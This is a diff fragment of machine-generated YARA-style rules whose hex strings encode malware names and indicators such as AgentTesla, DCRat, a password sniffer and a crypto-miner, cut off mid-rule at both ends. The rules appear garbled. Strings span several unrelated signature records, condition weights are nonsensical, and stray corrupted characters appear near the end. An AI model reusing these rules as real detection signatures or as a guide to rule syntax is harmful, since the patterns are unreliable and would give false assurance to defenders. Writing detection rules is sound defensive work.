//21605 + $a_11_3 = {6b 00 c0 4f d7 05 a2 a0 15 a7 34 87 01 00 19 01 ff 15 00 53 48 44 6f 63 56 77 43 74 6c 2e 57 65 62 42 72 6f 77 73 65 72 00 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 6d 73 63 6f 72 65 5f 42 75 6e 64 6c 65 72 00 01 00 0c 80 01 72 6b 5f 73 65 74 75 70 2e 65 78 65 01 00 15 80 01 66 72 65 65 2d 61 75 74 6f 2d 63 6c 69 63 6b 65 72 2e 63 6f 6d 01 00 11 80 01 73 65 63 75 72 65 73 74 75 64 69 65 73 2e 63 6f 6d 01 00 0f 80 01 46 72 65 65 41 75 74 6f 43 6c 69 63 6b 65 72 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 43 6c 65 72 65 7a 74 2e 41 21 4d 54 42 00 01 00 14 } //271 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*385+(#a_01_2 & 1)*1+(#a_7a_3 & 1)*0) >=4 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*385+(#a_72_2 & 1)*21605+(#a_11_3 & 1)*271) >=4 } -rule _InfrastructureShared_7806{ +rule _InfrastructureShared_8255{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 53 31 21 4d 54 42 00 01 00 11 81 01 61 6e 74 69 66 6f 72 75 72 65 6e 69 6e 67 65 6e 73 01 00 11 81 01 73 74 72 61 66 63 65 6c 6c 65 72 6e 65 2e 65 78 65 01 00 0c 81 01 43 72 65 61 74 65 54 68 72 } //18467 + $a_01_1 = {00 11 81 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 43 6c 69 63 6b 65 72 3a 57 69 6e 33 32 2f 56 42 00 01 00 0a 01 52 65 61 64 79 53 74 61 74 65 01 00 0c 01 57 00 73 35 cf 11 ae 69 08 00 2b 2e 01 } //24933 + $a_d0_2 = {a9 } //3840 + $a_4f_3 = {05 a2 a0 15 a7 34 87 01 00 19 01 ff 15 00 53 48 44 6f 63 56 77 43 74 6c 2e 57 65 62 42 72 6f 77 73 65 72 00 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 6d 73 63 6f 72 65 5f 42 75 6e 64 6c 65 72 00 01 00 0c 80 01 72 6b 5f 73 65 74 75 70 2e 65 78 65 01 00 15 80 01 66 72 65 65 2d 61 75 74 6f 2d 63 6c 69 63 6b 65 72 2e 63 6f 6d 01 00 11 80 01 73 65 63 75 72 65 73 74 75 64 69 65 73 2e 63 6f 6d 01 00 0f 80 01 46 72 65 65 41 75 74 6f 43 6c 69 63 6b 65 72 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 43 6c 65 72 65 7a } //107 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24933+(#a_d0_2 & 1)*3840+(#a_4f_3 & 1)*107) >=4 + +} +rule _InfrastructureShared_8256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -82369,7 +87176,7 @@ rule _InfrastructureShared_7806{ ((#a_77_0 & 1)*19491+(#a_50_3 & 1)*8448) >=4 } -rule _InfrastructureShared_7807{ +rule _InfrastructureShared_8257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -82382,7 +87189,7 @@ rule _InfrastructureShared_7807{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*28515+(#a_2e_2 & 1)*26972+(#a_0f_3 & 1)*6912) >=4 } -rule _InfrastructureShared_7808{ +rule _InfrastructureShared_8258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -82395,7 +87202,7 @@ rule _InfrastructureShared_7808{ ((#a_4c_0 & 1)*21539+(#a_5c_1 & 1)*29808+(#a_66_2 & 1)*16400+(#a_00_3 & 1)*8256) >=4 } -rule _InfrastructureShared_7809{ +rule _InfrastructureShared_8259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -82408,7 +87215,7 @@ rule _InfrastructureShared_7809{ ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*16400+(#a_00_2 & 1)*8256+(#a_08_3 & 1)*-31997) >=4 } -rule _InfrastructureShared_7810{ +rule _InfrastructureShared_8260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -82421,21 +87228,21 @@ rule _InfrastructureShared_7810{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*20225+(#a_6b_2 & 1)*28524+(#a_48_3 & 1)*11892) >=4 } -rule _InfrastructureShared_7811{ +rule _InfrastructureShared_8261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4d 69 6e 65 72 47 61 74 65 00 02 00 0d 01 6d 69 6e 65 72 67 61 74 65 2e 63 6f 6d 02 00 0c 01 2e 6d 69 6e 65 72 73 5f 6c 6f 63 6b 01 00 10 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 74 65 01 00 08 01 65 74 68 65 72 65 75 6d 01 00 17 01 } //20515 $a_70_1 = {69 6d 75 73 45 6e 61 62 6c 65 6d 65 6e 74 43 75 64 61 00 00 78 7a 00 00 05 00 05 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 59 48 21 4d 54 42 00 05 00 48 03 48 63 c8 49 8b c7 48 } //30286 - $a_8b_2 = {48 2b c2 48 d1 e8 48 03 c2 48 c1 e8 90 01 01 48 6b c0 90 01 01 48 2b c8 0f b6 44 0c 90 01 01 43 32 04 0c 41 83 c5 90 01 01 4d 8d 49 90 01 01 41 88 41 90 01 01 49 ff c8 0f 85 90 00 00 00 78 7a 00 00 05 00 05 00 05 00 } //-7689 - $a_4d_3 = {41 54 5f 63 72 79 3a 53 6e 69 66 66 50 61 73 73 00 03 00 0d 01 53 6e 69 66 66 50 61 73 73 2e 70 64 62 02 00 11 81 01 53 6e 69 66 66 65 64 20 50 61 73 73 77 6f 72 64 73 01 00 13 81 01 50 61 63 6b 65 } //8993 - $a_69_4 = {66 65 72 43 6c 61 73 73 31 01 00 07 81 01 4e 69 72 53 6f 66 74 01 00 0c 81 01 2f 6e 6f 63 61 70 64 72 69 76 65 72 00 00 78 7a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 39 33 21 4d 54 42 00 01 00 0e 03 16 0a 20 00 d0 00 00 8d ?? ?? ?? ?? 0b } //21364 + $a_8b_2 = {48 2b c2 48 d1 e8 48 03 c2 48 c1 e8 90 01 01 48 6b c0 90 01 01 48 2b c8 0f b6 44 0c 90 01 01 43 32 04 0c 41 83 c5 90 01 01 4d 8d 49 90 01 01 41 88 41 90 01 01 49 ff c8 0f 85 90 00 00 00 78 7a 00 00 05 00 05 00 04 00 } //-7689 + $a_4c_3 = {3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4f 70 65 6e 53 55 70 64 61 74 65 72 2e 61 77 37 33 00 02 00 12 80 01 75 70 64 61 74 65 2e 75 70 64 61 74 65 72 2e 6f 6e 65 01 00 0e 80 01 4f 55 5f 55 70 } //8993 + $a_65_4 = {2e 65 78 65 01 00 0e 80 01 4f 6e 65 55 70 64 61 74 65 72 2e 70 64 62 01 00 0b 80 01 76 65 72 73 69 6f 6e 2e 70 68 70 00 00 78 7a 00 00 05 00 05 00 05 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 53 6e 69 66 66 50 61 73 73 00 03 00 0d 01 53 6e 69 66 66 50 61 73 73 2e 70 64 62 02 00 11 81 01 53 6e 69 66 66 65 64 20 50 61 73 73 77 6f 72 64 73 01 00 13 81 } //24932 condition: - ((#a_41_0 & 1)*20515+(#a_70_1 & 1)*30286+(#a_8b_2 & 1)*-7689+(#a_4d_3 & 1)*8993+(#a_69_4 & 1)*21364) >=4 + ((#a_41_0 & 1)*20515+(#a_70_1 & 1)*30286+(#a_8b_2 & 1)*-7689+(#a_4c_3 & 1)*8993+(#a_65_4 & 1)*24932) >=4 } -rule _InfrastructureShared_7812{ +rule _InfrastructureShared_8262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -82445,7 +87252,19 @@ rule _InfrastructureShared_7812{ ((#a_46_0 & 1)*21283) >=5 } -rule _InfrastructureShared_7813{ +rule _InfrastructureShared_8263{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4f 70 65 6e 53 55 70 64 61 74 65 72 2e 61 77 37 33 00 02 00 12 80 01 75 70 64 61 74 65 2e 75 70 64 61 74 65 72 2e 6f 6e 65 01 00 0e 80 01 4f 55 5f 55 70 64 61 74 65 72 2e 65 78 65 01 00 0e } //16675 + $a_6e_1 = {55 70 64 61 74 65 72 2e 70 64 62 01 00 0b 80 01 76 65 72 73 69 6f 6e 2e 70 68 70 00 00 78 7a 00 00 05 00 05 00 05 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 53 6e 69 66 66 50 61 73 73 00 03 00 0d 01 53 6e 69 66 66 50 61 73 73 2e 70 64 62 02 } //384 + $a_01_2 = {53 6e 69 66 66 65 64 20 50 61 73 73 77 6f 72 64 73 01 00 13 81 01 50 61 63 6b 65 74 53 6e 69 66 66 65 72 43 6c 61 73 73 31 01 00 07 81 01 4e 69 72 53 6f 66 74 01 00 0c 81 01 2f 6e 6f 63 61 70 64 72 69 76 65 72 00 00 78 7a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 39 33 21 4d 54 42 00 01 00 0e 03 16 } //4352 + condition: + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*384+(#a_01_2 & 1)*4352) >=5 + +} +rule _InfrastructureShared_8264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -82459,7 +87278,7 @@ rule _InfrastructureShared_7813{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*12659+(#a_69_2 & 1)*385+(#a_20_3 & 1)*5635+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_7814{ +rule _InfrastructureShared_8265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -82467,27 +87286,40 @@ rule _InfrastructureShared_7814{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 39 33 21 4d 54 42 00 01 00 0e 03 16 0a 20 00 d0 00 00 8d 90 01 04 0b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 81 01 67 65 74 5f 57 69 64 74 68 01 00 0a } //18467 $a_65_1 = {5f 48 65 69 67 68 74 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 7a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 6f 7a 69 2e 52 41 21 4d 54 42 00 01 00 14 00 5a 00 6e 00 4a 00 54 00 61 00 4b 00 4b 00 5a 00 57 00 70 00 01 00 14 00 62 00 69 00 6d 00 73 00 68 00 47 00 7a 00 66 00 64 00 } //385 $a_00_2 = {09 } //120 - $a_58_3 = {71 4a 4a 6d 5a 01 00 0a 01 7a 7a 70 44 56 4c 42 74 78 46 01 00 0a 01 7a 78 69 6b 4e 45 4e 4d 49 4c 00 00 78 7a 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 56 46 21 4d 54 42 00 05 00 18 03 02 72 49 01 00 70 28 90 01 03 06 7d 90 01 03 04 02 28 90 01 03 06 90 00 01 00 07 01 6e 55 43 6c } //29185 - $a_01_4 = {00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 01 46 6f 72 4c 6f 6f 70 43 6f 6e 74 72 6f 6c 00 00 78 7a 00 00 08 00 08 00 06 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 43 6f 6d 70 75 74 61 64 6f } //26209 + $a_58_3 = {71 4a 4a 6d 5a 01 00 0a 01 7a 7a 70 44 56 4c 42 74 78 46 01 00 0a 01 7a 78 69 6b 4e 45 4e 4d 49 4c 00 00 78 7a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 51 31 21 4d 54 42 00 01 00 0b 81 01 67 75 6c 64 73 74 6f 6c 65 6e 65 01 00 0e 81 01 75 6e 69 76 65 72 73 69 74 79 6c 69 6b 65 01 00 0e 81 01 72 61 } //29185 + $a_6b_4 = {69 6e 67 65 72 6e 65 01 00 0a 81 01 64 69 73 67 72 65 67 61 74 65 01 00 09 81 01 64 72 65 63 6b 2e 65 78 65 00 00 78 7a 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 56 46 21 4d 54 42 00 05 00 18 03 02 72 49 01 00 70 28 90 01 03 06 7d 90 01 03 04 02 28 90 01 03 06 90 00 01 } //25188 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_00_2 & 1)*120+(#a_58_3 & 1)*29185+(#a_01_4 & 1)*26209) >=5 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_00_2 & 1)*120+(#a_58_3 & 1)*29185+(#a_6b_4 & 1)*25188) >=5 } -rule _InfrastructureShared_7815{ +rule _InfrastructureShared_8266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 6f 7a 69 2e 52 41 21 4d 54 42 00 01 00 14 00 5a 00 6e 00 4a 00 54 00 61 00 4b 00 4b 00 5a 00 57 00 70 00 01 00 14 00 62 00 69 00 6d 00 73 00 68 00 47 00 7a 00 66 00 64 00 78 00 01 00 09 01 72 76 58 50 71 4a 4a 6d 5a 01 00 0a } //18467 - $a_70_1 = {56 4c 42 74 78 46 01 00 0a 01 7a 78 69 6b 4e 45 4e 4d 49 4c 00 00 78 7a 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 56 46 21 4d 54 42 00 05 00 18 03 02 72 49 01 00 70 28 90 01 03 06 7d 90 01 03 04 02 28 90 01 03 06 90 00 01 00 07 01 6e 55 43 6c 61 66 59 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 } //31233 - $a_69_2 = {67 01 00 0e 01 46 6f 72 4c 6f 6f 70 43 6f 6e 74 72 6f 6c 00 00 78 7a 00 00 08 00 08 00 06 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 43 6f 6d 70 75 74 61 64 6f 72 2e 2e 01 00 09 01 4c 6f 67 69 6e 4e 61 6d 65 01 00 05 01 53 65 6e 68 61 01 00 0a 01 6a 61 76 61 73 63 72 69 70 74 01 00 0b 01 } //29779 - $a_75_3 = {3a 62 6c 61 6e 6b 05 00 10 01 4d 61 67 65 6c 6c 61 6e 20 4d 53 57 48 45 45 4c 00 00 78 7a 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 50 45 45 48 21 4d 54 42 00 0a 00 4b 03 8a 45 0c 8a 4d 08 8b 15 90 01 04 89 d6 81 c6 90 01 04 89 35 90 01 04 88 c4 02 25 90 01 04 88 25 90 01 } //25185 - $a_90_4 = {04 a2 90 01 04 89 d6 81 c6 90 01 04 89 } //-30716 + $a_70_1 = {56 4c 42 74 78 46 01 00 0a 01 7a 78 69 6b 4e 45 4e 4d 49 4c 00 00 78 7a 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 51 31 21 4d 54 42 00 01 00 0b 81 01 67 75 6c 64 73 74 6f 6c 65 6e 65 01 00 0e 81 01 75 6e 69 76 65 72 73 69 74 79 6c 69 6b 65 01 00 0e 81 01 72 61 64 62 72 6b 6e 69 6e 67 65 72 6e 65 01 00 0a 81 01 } //31233 + $a_67_2 = {65 67 61 74 65 01 00 09 81 01 64 72 65 63 6b 2e 65 78 65 00 00 78 7a 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 56 46 21 4d 54 42 00 05 00 18 03 02 72 49 01 00 70 28 90 01 03 06 7d 90 01 03 04 02 28 90 01 03 06 90 00 01 00 07 01 6e 55 43 6c 61 66 59 01 00 10 01 46 72 6f 6d } //26980 + $a_65_3 = {34 53 74 72 69 6e 67 01 00 0e 01 46 6f 72 4c 6f 6f 70 43 6f 6e 74 72 6f 6c 00 00 78 7a 00 00 08 00 08 00 06 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 43 6f 6d 70 75 74 61 64 6f 72 2e 2e 01 00 09 01 4c 6f 67 69 6e 4e 61 6d 65 01 00 05 01 53 65 6e 68 61 01 00 0a 01 6a 61 76 61 73 63 72 69 70 } //24898 condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*31233+(#a_69_2 & 1)*29779+(#a_75_3 & 1)*25185+(#a_90_4 & 1)*-30716) >=5 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*31233+(#a_67_2 & 1)*26980+(#a_65_3 & 1)*24898) >=5 } -rule _InfrastructureShared_7816{ +rule _InfrastructureShared_8267{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 51 31 21 4d 54 42 00 01 00 0b 81 01 67 75 6c 64 73 74 6f 6c 65 6e 65 01 00 0e 81 01 75 6e 69 76 65 72 73 69 74 79 6c 69 6b 65 01 00 0e 81 01 72 61 64 62 72 6b 6e 69 6e 67 65 72 6e 65 01 00 0a 81 } //18467 + $a_73_1 = {72 65 67 61 74 65 01 00 09 81 01 64 72 65 63 6b 2e 65 78 65 00 00 78 7a 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 56 46 21 4d 54 42 00 05 00 18 03 02 72 49 01 00 70 28 90 01 03 06 7d 90 01 03 04 02 28 90 01 03 06 90 00 01 00 07 01 6e 55 43 6c } //25601 + $a_01_2 = {00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 01 46 6f 72 4c 6f 6f 70 43 6f 6e 74 72 6f 6c 00 00 78 7a 00 00 08 00 08 00 06 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 43 6f 6d 70 75 74 61 64 6f } //26209 + $a_01_3 = {00 09 01 4c 6f 67 69 6e 4e 61 6d 65 01 00 05 01 53 65 6e 68 61 01 00 0a 01 6a 61 76 61 73 63 72 69 70 74 01 00 0b 01 61 62 6f 75 74 3a 62 } //11890 + $a_6b_4 = {00 10 01 4d 61 67 65 6c 6c 61 6e 20 4d 53 57 48 45 45 4c 00 00 78 7a 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 50 45 45 48 21 4d 54 42 00 0a 00 4b 03 8a 45 0c 8a 4d 08 8b 15 90 01 04 89 d6 81 c6 90 01 04 89 35 90 01 04 88 c4 02 25 90 01 04 88 25 90 01 04 88 0d 90 01 04 } //24940 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25601+(#a_01_2 & 1)*26209+(#a_01_3 & 1)*11890+(#a_6b_4 & 1)*24940) >=5 + +} +rule _InfrastructureShared_8268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -82500,7 +87332,7 @@ rule _InfrastructureShared_7816{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28015+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 } -rule _InfrastructureShared_7817{ +rule _InfrastructureShared_8269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -82513,7 +87345,7 @@ rule _InfrastructureShared_7817{ ((#a_5f_0 & 1)*25635+(#a_41_3 & 1)*8448+(#a_8a_4 & 1)*17802+(#a_90_5 & 1)*-30460) >=8 } -rule _InfrastructureShared_7818{ +rule _InfrastructureShared_8270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -82523,7 +87355,7 @@ rule _InfrastructureShared_7818{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_7819{ +rule _InfrastructureShared_8271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -82533,7 +87365,17 @@ rule _InfrastructureShared_7819{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7820{ +rule _InfrastructureShared_8272{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 43 52 61 74 2e 47 44 58 21 4d 54 42 00 0a 00 4d 01 48 8b 45 d8 48 89 45 f0 48 8b 45 f0 0f b6 00 32 45 20 89 c2 48 8b 45 f0 88 10 48 8b 45 d8 48 83 c0 01 48 89 45 d8 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_8273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -82543,20 +87385,32 @@ rule _InfrastructureShared_7820{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_7821{ +rule _InfrastructureShared_8274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4d 73 6e 41 70 69 57 65 61 6b 2e 67 65 6e 00 05 00 17 01 5c 4d 65 73 73 65 6e 67 65 72 5c 6d 73 6d 73 67 73 2e 65 78 65 5c 33 05 00 11 01 45 56 45 4e 54 5f 53 49 4e 4b 5f 49 6e 76 6f 6b 65 05 00 12 00 5a 6f 6d 62 69 65 5f 47 65 } //18467 - $a_70_1 = {49 6e 66 6f 05 00 0c 00 6d 65 73 73 65 6e 67 65 72 61 70 69 00 00 78 7a 00 00 29 00 29 00 06 00 21 23 48 53 54 52 3a 6d 7a 69 6e 72 65 73 6f 75 72 63 65 00 0a 00 0e 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 0a 00 0d 01 46 69 6e 64 52 65 73 6f 75 72 63 65 41 0a 00 0c 01 4c 6f 63 6b 52 65 73 6f 75 72 63 65 0a 00 0c 01 4c 6f 61 64 52 65 73 6f 75 72 63 65 01 00 } //21620 - $a_25_2 = {20 2f 25 73 25 73 22 01 00 09 01 57 72 69 74 65 46 69 6c 65 00 00 78 7a 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4e 65 65 72 4d 6f 6e 67 6f 2e 41 21 64 68 61 00 64 00 14 01 6d 61 69 6e 2e 65 6e 63 72 79 70 74 54 47 5a 46 69 6c 65 73 64 00 15 } //10 - $a_69_3 = {2e 67 6f 55 70 6c 6f 61 64 54 67 7a 46 69 6c 65 73 64 00 15 01 6d 61 69 6e 2e 72 65 6d 6f 76 65 49 6d 61 67 65 46 69 6c 65 73 00 00 78 7a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4d 61 6b 65 42 6c 6f 75 73 65 2e 41 21 64 68 61 00 64 00 26 } //27905 + $a_70_1 = {49 6e 66 6f 05 00 0c 00 6d 65 73 73 65 6e 67 65 72 61 70 69 00 00 78 7a 00 00 1e 00 1e 00 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 47 6f 70 68 65 72 4d 65 74 65 72 2e 41 21 64 68 61 00 0a 00 15 01 6d 61 69 6e 2e 77 72 69 74 65 56 61 6c 69 64 45 6d 61 69 6c 73 0a 00 18 01 6d 61 69 6e 2e 63 68 65 63 6b 45 6d 61 69 6c 4f 66 66 } //21620 + $a_33_2 = {35 0a 00 0f 01 6d 61 69 6e 2e 72 65 61 64 45 6d 61 69 6c 73 00 00 78 7a 00 00 29 00 29 00 06 00 21 23 48 53 54 52 3a 6d 7a 69 6e 72 65 73 6f 75 72 63 65 00 0a 00 0e 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 0a 00 0d 01 46 69 6e 64 52 65 73 6f 75 72 63 65 41 0a 00 0c 01 4c 6f 63 6b 52 65 73 6f 75 72 } //25449 + $a_00_3 = {0c 01 4c 6f 61 64 52 65 73 6f } //25955 Č潌摡敒潳 condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*21620+(#a_25_2 & 1)*10+(#a_69_3 & 1)*27905) >=20 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*21620+(#a_33_2 & 1)*25449+(#a_00_3 & 1)*25955) >=20 } -rule _InfrastructureShared_7822{ +rule _InfrastructureShared_8275{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 47 6f 70 68 65 72 4d 65 74 65 72 2e 41 21 64 68 61 00 0a 00 15 01 6d 61 69 6e 2e 77 72 69 74 65 56 61 6c 69 64 45 6d 61 69 6c 73 0a 00 18 01 6d 61 69 6e 2e 63 68 65 63 6b 45 } //16675 + $a_6c_1 = {66 66 69 63 65 33 36 35 0a 00 0f 01 6d 61 69 6e 2e 72 65 61 64 45 6d 61 69 6c 73 00 00 78 7a 00 00 29 00 29 00 06 00 21 23 48 53 54 52 3a 6d 7a 69 6e 72 65 73 6f 75 72 63 65 00 0a 00 0e 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 0a 00 0d 01 46 69 6e 64 52 65 73 6f 75 72 63 65 41 0a 00 0c 01 4c 6f 63 6b 52 65 73 } //24941 + $a_63_2 = {0a 00 0c 01 4c 6f 61 64 52 65 73 6f 75 72 63 65 01 00 0a 00 63 25 73 20 2f 25 73 25 73 22 01 00 09 01 57 72 69 74 65 46 69 6c 65 00 00 78 7a 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4e 65 65 72 4d 6f 6e 67 6f 2e 41 21 64 68 61 00 64 00 14 01 6d 61 69 6e 2e 65 6e 63 72 79 70 74 54 47 5a } //30063 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24941+(#a_63_2 & 1)*30063) >=30 + +} +rule _InfrastructureShared_8276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 06 00 21 " @@ -82571,7 +87425,7 @@ rule _InfrastructureShared_7822{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*10+(#a_69_2 & 1)*27905+(#a_00_3 & 1)*3841+(#a_72_4 & 1)*17455+(#a_69_5 & 1)*28492) >=41 } -rule _InfrastructureShared_7823{ +rule _InfrastructureShared_8277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -82583,7 +87437,7 @@ rule _InfrastructureShared_7823{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*31335+(#a_41_2 